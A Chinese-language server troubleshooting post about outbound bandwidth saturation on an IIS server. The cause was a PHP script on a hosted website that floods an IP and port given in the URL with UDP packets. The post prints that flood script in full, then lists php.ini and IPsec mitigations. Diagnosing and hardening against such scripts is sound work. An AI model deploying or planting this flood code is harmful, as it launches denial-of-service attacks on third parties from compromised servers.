服务器症状:服务器带宽应用占到70-100%,网络堵塞,网站无法访问,远程控制也连接不上
症状分析:
服务器安装了流量查看软件DU Meter,可以看到,发送的字节增长速度很快(几乎10m/s),收到的字节很少!
在cmd 里用 netstat -an 查看到服务器连接的都是同一个ip ,端口都是连续的。根据这个可以判定不是DDOS攻击,因为DDOS是不断收到大量数据包。
IIS限制了网站带宽,但没有效果。
关闭iis,带宽过一会就正常, 可以判定是网站导致的!然后一个个网站排查(从来没有见过这样的情况,通过页面调用往外发包的)
排查方法:
怀疑是php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:
$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \"Flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>
工作原理:
通过url传递IP和端口以udp的方式打开.传递文件到服务器写出。
解决方法:
在php.ini里设置:
disable_functions =gzinflate;
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
然后重启IIS
如果设置了问题还没有解决,可以尝试把udp端口关闭!
注意:本ip策略包 会关闭所有udp端口,请慎用!
方法1:直接运行包里的 udp.bat
方法2:”开始”菜单—“运行”—输入”gpedit.msc”—“计算机配置”—“windows 设置”—-“安全设置”—右击”ip 安全策略”—“所有任务”—“导入策略”—选择包里的”udp.ipsec”文件
无关联文章.